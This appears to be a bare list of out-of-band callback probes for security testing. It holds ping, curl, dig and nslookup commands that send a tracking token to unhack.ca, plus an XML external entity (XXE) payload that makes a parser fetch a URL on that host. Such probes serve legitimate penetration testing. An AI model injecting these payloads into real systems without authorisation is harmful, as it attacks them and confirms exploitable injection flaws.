$ ping -c1 -p 004c19e938ffd595444891d1d5a2f800 unhack.ca
 

$ curl http://unhack.ca/p/4c19e938ffd595444891d1d5a2f8
 

$ dig 4c19e938ffd595444891d1d5a2f8 @unhack.ca
 

$ dig 4c19e938ffd595444891d1d5a2f8.ns.unhack.ca
 

C:\> nslookup 4c19e938ffd595444891d1d5a2f8 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/4c19e938ffd595444891d1d5a2f8">]>
    <foo>&xxe;</foo>